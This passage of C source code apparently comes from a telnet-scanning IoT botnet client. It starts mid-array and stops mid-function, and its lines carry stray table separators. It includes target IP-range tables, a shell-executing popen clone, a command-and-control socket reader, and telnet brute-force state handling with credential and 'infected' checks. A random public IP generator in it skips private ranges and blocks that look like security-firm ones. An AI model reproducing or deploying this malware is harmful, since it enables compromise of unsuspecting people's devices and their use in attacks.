23,23,23,23,23,23,23,23,23,23,42,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,1,1,143,158,158,158,158,143,65,82,82,230,230,230,230,239,239,239,239,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,252,252,252,252,252,115,115,120,120,121,121,121,127,127,252,252,252,252,39,42,42,42,42,48,48,48,48,48,48,48,48,63,63,63,63,144,144,144,144,144,144,145,145,145,145,105,137,141,141,141,141,141,141,141,203,233,120,95,95,95,177,7,7,7,7,85,176,108,108,209,35,35,35,35,94,94,139,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,126,126,126,126,250,250,250,82,52,52,53,53,53,55,55,71,12,221,24,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,109,109,109,109,173,173,173,173,173,173,173,173,173,95,95,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,117,147,147,147,147,147,204,225,225,225,225,225,225,225,225,225,225,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,251,3,200,248,140,100,100,100,100,103,190,29,70,152,152,152,152,152,210,37,37,37,37,37,37,37,46,46,53,53,53,69,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9}; | |
int rangesC3[] = {245,80,29,117,198,199,28,29,30,184,185,187,250,64,67,220,60,61,63,252,253,254,54,81,6,253,170,147,41,43,218,220,80,211,89,100,101,103,96,97,197,157,49,80,84,242,111,193,192,105,66,171,62,45,1,10,12,14,2,25,3,32,34,35,4,46,51,56,60,61,63,69,78,8,80,86,89,9,0,120,121,122,13,130,131,139,14,140,141,15,16,164,2,20,22,224,225,226,228,231,232,233,234,235,236,237,238,28,29,31,5,6,72,75,76,77,82,9,34,35,52,144,166,242,104,105,106,107,108,109,111,170,171,224,225,226,1,100,101,102,103,104,105,106,107,108,109,11,110,112,113,115,116,118,120,121,122,125,126,127,128,13,142,143,16,168,169,17,171,172,173,176,178,179,18,19,20,21,24,244,247,25,26,27,28,29,30,31,32,34,35,37,60,66,8,96,97,98,99,201,202,203,204,205,206,207,232,32,33,36,38,16,17,19,22,23,82,155,130,184,237,48,7,193,233,162,46,141,109,84,221,119,144,104,191,213,228,185,242,188,26,36,227,131,204,217,130,155,215,100,107,123,127,149,161,171,191,214,34,37,38,59,74,9,122,53,133,51,32,227,232,233,234,235,249,253,254,92,110,131,58,25,146,112,114,120,121,124,172,173,204,206,208,209,210,212,216,217,218,219,223,64,166,253,98,170,177,67,133,117,2,21,61,11,151,161,186,188,212,214,240,28,73,69,126,127,128,131,136,154,158,168,186,249,34,35,76,78,86,90,95,130,53,90,103,210,236,69,2,160,128,138,172,173,174,175,68,69,70,71,136,137,138,139,148,149,150,151,156,157,158,159,208,209,210,211,25,30,31,33,35,140,143,56,58,188,190,191,41,43,180,181,182,183,196,27,29,42,59,144,155,156,158,189,195,203,208,0,131,198,232,152,207,223,248,28,98,109,149,52,57,43,156,145,179,184,33,37,67,92,78,203,240,2,207,62,237,173,178,187,190,161,4,211,219,2,146,18,216,8,105,106,215,10,110,111,114,116,117,12,120,124,128,129,130,133,136,141,143,144,150,151,153,159,16,160,163,169,17,170,173,174,177,178,179,18,181,182,184,187,189,191,194,196,197,198,2,20,200,203,204,206,207,209,210,22,24,243,244,245,246,247,248,25,251,252,254,26,32,34,35,36,37,38,39,4,45,47,5,50,51,52,55,56,58,60,62,63,65,66,69,9,98,10,100,102,103,106,112,128,131,135,137,139,141,15,150,152,167,17,171,174,175,176,177,178,179,18,182,187,188,189,193,194,195,197,2,20,213,214,215,217,218,223,225,226,227,228,23,230,233,237,239,28,29,3,31,33,34,35,37,38,4,41,45,46,47,49,50,52,54,55,59,6,62,66,7,70,71,76,8,81,83,84,87,89,9,91,99,106,108,11,110,115,116,117,12,126,127,128,13,150,152,154,158,159,16,160,162,164,165,167,168,170,172,174,175,184,185,19,191,192,193,194,200,202,203,204,208,21,213,214,216,223,225,227,231,237,239,27,28,30,33,45,46,47,48,51,54,59,61,74,76,77,78,81,84,86,87,95,17,37,74,85,155,157,5,88,52,82,11,15,79,214,240,116,96,3,3,100,106,109,110,113,115,139,172,185,2,211,224,231,38,48,67,1,100,101,103,105,106,108,116,12,121,122,123,128,13,131,135,137,139,14,140,141,144,146,148,150,151,153,154,155,157,158,159,16,163,168,169,17,172,175,177,178,179,18,181,182,185,187,188,189,19,191,193,195,196,199,20,200,203,211,212,214,217,220,222,224,226,229,230,231,233,234,236,237,238,243,245,249,25,254,27,32,34,36,37,39,4,41,43,44,46,49,50,52,53,54,57,59,63,64,65,69,75,76,77,78,79,8,80,81,83,84,85,89,90,93,94,95,98,99,117,31,7,96,108,145,159,187,195,196,242,247,71,160,199,0,100,106,107,11,110,111,112,113,115,116,117,119,132,133,136,14,153,158,16,163,2,206,218,22,223,226,228,234,243,244,246,247,248,249,251,254,26,6,73,98,99,186,183,213,215,228,237,75,209,210,215,225,226,227,229,230,234,242,112,156,158,182,186,189,195,2,211,219,223,27,63,71,90,94,10,100,101,102,105,107,11,110,112,115,116,118,120,122,125,126,130,132,133,134,138,144,147,148,152,160,161,162,166,167,169,179,182,184,185,191,195,20,205,207,208,209,210,212,215,218,219,22,220,222,223,226,227,23,236,24,243,245,27,29,34,37,39,4,41,43,45,5,50,51,55,56,58,59,61,62,64,65,67,69,7,71,76,77,8,85,87,9,93,96,98,10,100,102,110,112,113,114,117,118,122,13,130,133,134,137,138,140,160,162,163,164,165,166,168,17,170,173,179,18,180,184,19,2,247,249,252,29,3,49,50,52,54,6,7,85,92,96,97,98,0,10,104,105,106,107,114,117,127,14,163,166,168,174,177,181,182,183,185,200,206,208,214,220,222,224,226,232,233,24,244,246,248,253,28,29,3,30,31,37,38,4,40,44,45,48,50,52,53,55,56,58,59,60,61,62,63,64,68,7,70,8,84,89,99,160,149,234,126,130,148,156,212,224,247,253,157,244,13,15,32,57,9,44,123,151,165,231,50,70,9,168,169,139,237,239,31,10,101,102,104,108,109,112,117,120,121,123,124,126,128,129,133,136,137,138,139,140,144,145,156,157,158,159,161,167,168,172,174,176,178,179,181,182,185,190,191,192,198,200,207,227,233,239,242,244,245,248,250,253,28,34,36,37,38,39,45,52,57,6,62,65,67,70,74,76,78,79,80,81,86,95}; | |
#define PHI 0x9e3779b9 | |
static uint32_t Q[4096], c = 362436; | |
int dupppp = 0; | |
int rangechoice = 1; | |
void init_rand(uint32_t x) | |
{ | |
int i; | |
Q[0] = x; | |
Q[1] = x + PHI; | |
Q[2] = x + PHI + PHI; | |
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; | |
} | |
uint32_t rand_cmwc(void) | |
{ | |
uint64_t t, a = 18782LL; | |
static uint32_t i = 4095; | |
uint32_t x, r = 0xfffffffe; | |
i = (i + 1) & 4095; | |
t = a * Q[i] + c; | |
c = (uint32_t)(t >> 32); | |
x = t + c; | |
if (x < c) { | |
x++; | |
c++; | |
} | |
return (Q[i] = r - x); | |
} | |
void trim(char *str) | |
{ | |
int i; | |
int begin = 0; | |
int end = strlen(str) - 1; | |
while (isspace(str[begin])) begin++; | |
while ((end >= begin) && isspace(str[end])) end--; | |
for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
str[i - begin] = '\0'; | |
} | |
static void printchar(unsigned char **str, int c) | |
{ | |
if (str) { | |
**str = c; | |
++(*str); | |
} | |
else (void)write(1, &c, 1); | |
} | |
static int prints(unsigned char **out, const unsigned char *string, int width, int pad) | |
{ | |
register int pc = 0, padchar = ' '; | |
if (width > 0) { | |
register int len = 0; | |
register const unsigned char *ptr; | |
for (ptr = string; *ptr; ++ptr) ++len; | |
if (len >= width) width = 0; | |
else width -= len; | |
if (pad & PAD_ZERO) padchar = '0'; | |
} | |
if (!(pad & PAD_RIGHT)) { | |
for ( ; width > 0; --width) { | |
printchar (out, padchar); | |
++pc; | |
} | |
} | |
for ( ; *string ; ++string) { | |
printchar (out, *string); | |
++pc; | |
} | |
for ( ; width > 0; --width) { | |
printchar (out, padchar); | |
++pc; | |
} | |
return pc; | |
} | |
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) | |
{ | |
unsigned char print_buf[PRINT_BUF_LEN]; | |
register unsigned char *s; | |
register int t, neg = 0, pc = 0; | |
register unsigned int u = i; | |
if (i == 0) { | |
print_buf[0] = '0'; | |
print_buf[1] = '\0'; | |
return prints (out, print_buf, width, pad); | |
} | |
if (sg && b == 10 && i < 0) { | |
neg = 1; | |
u = -i; | |
} | |
s = print_buf + PRINT_BUF_LEN-1; | |
*s = '\0'; | |
while (u) { | |
t = u % b; | |
if( t >= 10 ) | |
t += letbase - '0' - 10; | |
*--s = t + '0'; | |
u /= b; | |
} | |
if (neg) { | |
if( width && (pad & PAD_ZERO) ) { | |
printchar (out, '-'); | |
++pc; | |
--width; | |
} | |
else { | |
*--s = '-'; | |
} | |
} | |
return pc + prints (out, s, width, pad); | |
} | |
static int print(unsigned char **out, const unsigned char *format, va_list args ) | |
{ | |
register int width, pad; | |
register int pc = 0; | |
unsigned char scr[2]; | |
for (; *format != 0; ++format) { | |
if (*format == '%') { | |
++format; | |
width = pad = 0; | |
if (*format == '\0') break; | |
if (*format == '%') goto out; | |
if (*format == '-') { | |
++format; | |
pad = PAD_RIGHT; | |
} | |
while (*format == '0') { | |
++format; | |
pad |= PAD_ZERO; | |
} | |
for ( ; *format >= '0' && *format <= '9'; ++format) { | |
width *= 10; | |
width += *format - '0'; | |
} | |
if( *format == 's' ) { | |
register char *s = (char *)va_arg( args, int ); | |
pc += prints (out, s?s:"(null)", width, pad); | |
continue; | |
} | |
if( *format == 'd' ) { | |
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'x' ) { | |
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'X' ) { | |
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A'); | |
continue; | |
} | |
if( *format == 'u' ) { | |
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a'); | |
continue; | |
} | |
if( *format == 'c' ) { | |
scr[0] = (unsigned char)va_arg( args, int ); | |
scr[1] = '\0'; | |
pc += prints (out, scr, width, pad); | |
continue; | |
} | |
} | |
else { | |
out: | |
printchar (out, *format); | |
++pc; | |
} | |
} | |
if (out) **out = '\0'; | |
va_end( args ); | |
return pc; | |
} | |
int zprintf(const unsigned char *format, ...) | |
{ | |
va_list args; | |
va_start( args, format ); | |
return print( 0, format, args ); | |
} | |
int szprintf(unsigned char *out, const unsigned char *format, ...) | |
{ | |
va_list args; | |
va_start( args, format ); | |
return print( &out, format, args ); | |
} | |
int sockprintf(int sock, char *formatStr, ...) | |
{ | |
unsigned char *textBuffer = malloc(2048); | |
memset(textBuffer, 0, 2048); | |
char *orig = textBuffer; | |
va_list args; | |
va_start(args, formatStr); | |
print(&textBuffer, formatStr, args); | |
va_end(args); | |
orig[strlen(orig)] = '\n'; | |
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL); | |
free(orig); | |
return q; | |
} | |
static int *fdopen_pids; | |
int fdpopen(unsigned char *program, register unsigned char *type) | |
{ | |
register int iop; | |
int pdes[2], fds, pid; | |
if (*type != 'r' && *type != 'w' || type[1]) return -1; | |
if (pipe(pdes) < 0) return -1; | |
if (fdopen_pids == NULL) { | |
if ((fds = getdtablesize()) <= 0) return -1; | |
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1; | |
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int)); | |
} | |
switch (pid = vfork()) | |
{ | |
case -1: | |
close(pdes[0]); | |
close(pdes[1]); | |
return -1; | |
case 0: | |
if (*type == 'r') { | |
if (pdes[1] != 1) { | |
dup2(pdes[1], 1); | |
close(pdes[1]); | |
} | |
close(pdes[0]); | |
} else { | |
if (pdes[0] != 0) { | |
(void) dup2(pdes[0], 0); | |
(void) close(pdes[0]); | |
} | |
(void) close(pdes[1]); | |
} | |
execl("/bin/sh", "sh", "-c", program, NULL); | |
_exit(127); | |
} | |
if (*type == 'r') { | |
iop = pdes[0]; | |
(void) close(pdes[1]); | |
} else { | |
iop = pdes[1]; | |
(void) close(pdes[0]); | |
} | |
fdopen_pids[iop] = pid; | |
return (iop); | |
} | |
int fdpclose(int iop) | |
{ | |
register int fdes; | |
sigset_t omask, nmask; | |
int pstat; | |
register int pid; | |
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1); | |
(void) close(iop); | |
sigemptyset(&nmask); | |
sigaddset(&nmask, SIGINT); | |
sigaddset(&nmask, SIGQUIT); | |
sigaddset(&nmask, SIGHUP); | |
(void) sigprocmask(SIG_BLOCK, &nmask, &omask); | |
do { | |
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0); | |
} while (pid == -1 && errno == EINTR); | |
(void) sigprocmask(SIG_SETMASK, &omask, NULL); | |
fdopen_pids[fdes] = 0; | |
return (pid == -1 ? -1 : WEXITSTATUS(pstat)); | |
} | |
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) | |
{ | |
int got = 1, total = 0; | |
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } | |
return got == 0 ? NULL : buffer; | |
} | |
static const long hextable[] = { | |
[0 ... 255] = -1, | |
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, | |
['A'] = 10, 11, 12, 13, 14, 15, | |
['a'] = 10, 11, 12, 13, 14, 15 | |
}; | |
long parseHex(unsigned char *hex) | |
{ | |
long ret = 0; | |
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++]; | |
return ret; | |
} | |
int wildString(const unsigned char* pattern, const unsigned char* string) { | |
switch(*pattern) | |
{ | |
case '\0': return *string; | |
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1)); | |
case '?': return !(*string && !wildString(pattern+1, string+1)); | |
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1)); | |
} | |
} | |
int getHost(unsigned char *toGet, struct in_addr *i) | |
{ | |
struct hostent *h; | |
if((i->s_addr = inet_addr(toGet)) == -1) return 1; | |
return 0; | |
} | |
void uppercase(unsigned char *str) | |
{ | |
while(*str) { *str = toupper(*str); str++; } | |
} | |
int getBogos(unsigned char *bogomips) | |
{ | |
int cmdline = open("/proc/cpuinfo", O_RDONLY); | |
char linebuf[4096]; | |
while(fdgets(linebuf, 4096, cmdline) != NULL) | |
{ | |
uppercase(linebuf); | |
if(strstr(linebuf, "BOGOMIPS") == linebuf) | |
{ | |
unsigned char *pos = linebuf + 8; | |
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++; | |
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0; | |
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00; | |
strcpy(bogomips, pos); | |
close(cmdline); | |
return 0; | |
} | |
memset(linebuf, 0, 4096); | |
} | |
close(cmdline); | |
return 1; | |
} | |
int getCores() | |
{ | |
int totalcores = 0; | |
int cmdline = open("/proc/cpuinfo", O_RDONLY); | |
char linebuf[4096]; | |
while(fdgets(linebuf, 4096, cmdline) != NULL) | |
{ | |
uppercase(linebuf); | |
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++; | |
memset(linebuf, 0, 4096); | |
} | |
close(cmdline); | |
return totalcores; | |
} | |
void makeRandomStr(unsigned char *buf, int length) | |
{ | |
int i = 0; | |
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65; | |
} | |
int recvLine(int socket, unsigned char *buf, int bufsize) | |
{ | |
memset(buf, 0, bufsize); | |
fd_set myset; | |
struct timeval tv; | |
tv.tv_sec = 30; | |
tv.tv_usec = 0; | |
FD_ZERO(&myset); | |
FD_SET(socket, &myset); | |
int selectRtn, retryCount; | |
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { | |
while(retryCount < 10) | |
{ | |
sockprintf(mainCommSock, "PING"); | |
tv.tv_sec = 30; | |
tv.tv_usec = 0; | |
FD_ZERO(&myset); | |
FD_SET(socket, &myset); | |
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) { | |
retryCount++; | |
continue; | |
} | |
break; | |
} | |
} | |
unsigned char tmpchr; | |
unsigned char *cp; | |
int count = 0; | |
cp = buf; | |
while(bufsize-- > 1) | |
{ | |
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) { | |
*cp = 0x00; | |
return -1; | |
} | |
*cp++ = tmpchr; | |
if(tmpchr == '\n') break; | |
count++; | |
} | |
*cp = 0x00; | |
zprintf("recv: %s\n", cp); | |
return count; | |
} | |
/* Lets just call this area the shit you ripped from dans bot */ | |
struct telstate_t | |
{ | |
int fd; | |
unsigned int ip; | |
unsigned char state; | |
unsigned char complete; | |
unsigned char usernameInd; | |
unsigned char passwordInd; | |
unsigned char tempDirInd; | |
unsigned int totalTimeout; | |
unsigned short bufUsed; | |
char *sockbuf; | |
}; | |
const char* get_telstate_host(struct telstate_t* telstate) | |
{ | |
struct in_addr in_addr_ip; | |
in_addr_ip.s_addr = telstate->ip; | |
return inet_ntoa(in_addr_ip); | |
} | |
int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) | |
{ | |
int num_bytes, i; | |
memset(buffer, 0, buf_size); | |
num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size); | |
if(buffer[0] == 0xFF) | |
{ | |
negotiate(fd, buffer, 3); | |
} | |
if(contains_string(buffer, strings)) | |
{ | |
return 1; | |
} | |
return 0; | |
} | |
int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) | |
{ | |
fd_set read_set; | |
struct timeval tv; | |
tv.tv_sec = 0; | |
tv.tv_usec = timeout_usec; | |
FD_ZERO(&read_set); | |
FD_SET(fd, &read_set); | |
if (select(fd+1, &read_set, NULL, NULL, &tv) < 1) | |
return 0; | |
return recv(fd, buffer, buf_size, 0); | |
} | |
void advance_state(struct telstate_t* telstate, int new_state) | |
{ | |
if(new_state == 0) | |
{ | |
close(telstate->fd); | |
} | |
telstate->totalTimeout = 0; | |
telstate->state = new_state; | |
memset((telstate->sockbuf), 0, BUFFER_SIZE); | |
} | |
void reset_telstate(struct telstate_t* telstate) | |
{ | |
advance_state(telstate, 0); | |
telstate->complete = 1; | |
} | |
int contains_success(char* buffer) | |
{ | |
return contains_string(buffer, successes); | |
} | |
int contains_fail(char* buffer) | |
{ | |
return contains_string(buffer, fails); | |
} | |
int contains_response(char* buffer) | |
{ | |
return contains_success(buffer) || contains_fail(buffer); | |
} | |
int contains_string(char* buffer, char** strings) | |
{ | |
int num_strings = 0, i = 0; | |
for(num_strings = 0; strings[++num_strings] != 0; ); | |
for(i = 0; i < num_strings; i++) | |
{ | |
if(strcasestr(buffer, strings[i])) | |
{ | |
return 1; | |
} | |
} | |
return 0; | |
} | |
int contains_infectmessage(char* buffer) | |
{ | |
return contains_string(buffer, infected); | |
} | |
int connectTimeout(int fd, char *host, int port, int timeout) | |
{ | |
struct sockaddr_in dest_addr; | |
fd_set myset; | |
struct timeval tv; | |
socklen_t lon; | |
int valopt; | |
long arg = fcntl(fd, F_GETFL, NULL); | |
arg |= O_NONBLOCK; | |
fcntl(fd, F_SETFL, arg); | |
dest_addr.sin_family = AF_INET; | |
dest_addr.sin_port = htons(port); | |
if(getHost(host, &dest_addr.sin_addr)) return 0; | |
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero); | |
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); | |
if (res < 0) { | |
if (errno == EINPROGRESS) { | |
tv.tv_sec = timeout; | |
tv.tv_usec = 0; | |
FD_ZERO(&myset); | |
FD_SET(fd, &myset); | |
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) { | |
lon = sizeof(int); | |
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); | |
if (valopt) return 0; | |
} | |
else return 0; | |
} | |
else return 0; | |
} | |
arg = fcntl(fd, F_GETFL, NULL); | |
arg &= (~O_NONBLOCK); | |
fcntl(fd, F_SETFL, arg); | |
return 1; | |
} | |
int listFork() | |
{ | |
uint32_t parent, *newpids, i; | |
parent = fork(); | |
if (parent <= 0) return parent; | |
numpids++; | |
newpids = (uint32_t*)malloc((numpids + 1) * 4); | |
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i]; | |
newpids[numpids - 1] = parent; | |
free(pids); | |
pids = newpids; | |
return parent; | |
} | |
int negotiate(int sock, unsigned char *buf, int len) | |
{ | |
unsigned char c; | |
switch (buf[1]) { | |
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0; | |
case CMD_WILL: | |
case CMD_WONT: | |
case CMD_DO: | |
case CMD_DONT: | |
c = CMD_IAC; | |
send(sock, &c, 1, MSG_NOSIGNAL); | |
if (CMD_WONT == buf[1]) c = CMD_DONT; | |
else if (CMD_DONT == buf[1]) c = CMD_WONT; | |
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO); | |
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT); | |
send(sock, &c, 1, MSG_NOSIGNAL); | |
send(sock, &(buf[2]), 1, MSG_NOSIGNAL); | |
break; | |
default: | |
break; | |
} | |
return 0; | |
} | |
int matchPrompt(char *bufStr) | |
{ | |
char *prompts = ":>%$#\0"; | |
int bufLen = strlen(bufStr); | |
int i, q = 0; | |
for(i = 0; i < strlen(prompts); i++) | |
{ | |
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++; | |
if(*(bufStr + bufLen - q) == prompts[i]) return 1; | |
} | |
return 0; | |
} | |
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) | |
{ | |
int bufferUsed = initialIndex, got = 0, found = 0; | |
fd_set myset; | |
struct timeval tv; | |
tv.tv_sec = timeout; | |
tv.tv_usec = timeoutusec; | |
unsigned char *initialRead = NULL; | |
while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) | |
{ | |
FD_ZERO(&myset); | |
FD_SET(fd, &myset); | |
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break; | |
initialRead = buffer + bufferUsed; | |
got = recv(fd, initialRead, 1, 0); | |
if(got == -1 || got == 0) return 0; | |
bufferUsed += got; | |
if(*initialRead == 0xFF) | |
{ | |
got = recv(fd, initialRead + 1, 2, 0); | |
if(got == -1 || got == 0) return 0; | |
bufferUsed += got; | |
if(!negotiate(fd, initialRead, 3)) return 0; | |
} else { | |
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; } | |
} | |
} | |
if(found) return 1; | |
return 0; | |
} | |
static uint8_t ipState[5] = {0}; | |
in_addr_t getRandomPublicIP() | |
{ | |
if(ipState[1] > 0 && ipState[4] < 255) | |
{ | |
ipState[4]++; | |
char ip[16] = {0}; | |
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]); | |
return inet_addr(ip); | |
} | |
ipState[0] = rand() % 255; | |
ipState[1] = rand() % 255; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
while( | |
(ipState[0] == 0) || | |
(ipState[0] == 10) || | |
(ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) || | |
(ipState[0] == 127) || | |
(ipState[0] == 169 && ipState[1] == 254) || | |
(ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) || | |
(ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) || | |
(ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) || | |
(ipState[0] == 192 && ipState[1] == 168) || | |
(ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) || | |
(ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) || | |
(ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) || | |
(ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) || | |
(ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) || | |
(ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) || | |
(ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) || | |
(ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) || | |
(ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) || | |
(ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) || | |
(ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) || | |
(ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) || | |
(ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) || | |
(ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) || | |
(ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) || | |
(ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) || | |
(ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) || | |
(ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) || | |
(ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) || | |
(ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) || | |
(ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) || | |
(ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) || | |
(ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) || | |
(ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) || | |
(ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) || | |
(ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) || | |
(ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) || | |
(ipState[0] == 208 && ipState[1] == 67) || | |
(ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) || | |
(ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) || | |
(ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) || | |
(ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) || | |
(ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) || | |
(ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) || | |
(ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) || | |
(ipState[0] >= 224) | |
) | |
{ | |
ipState[0] = rand() % 255; | |
ipState[1] = rand() % 255; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
} | |
char ip[16] = {0}; | |
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]); | |
return inet_addr(ip); | |
} | |
in_addr_t getRandomPublicIP2() | |
{ | |
int range = rand() % (sizeof(oldranges)/sizeof(char *)); | |
ipState[0] = oldranges[range]; | |
ipState[1] = oldranges2[range]; | |
ipState[2] = rand() % 255; | |
ipState[3] = rand() % 255; | |
char ip[16] = {0}; | |
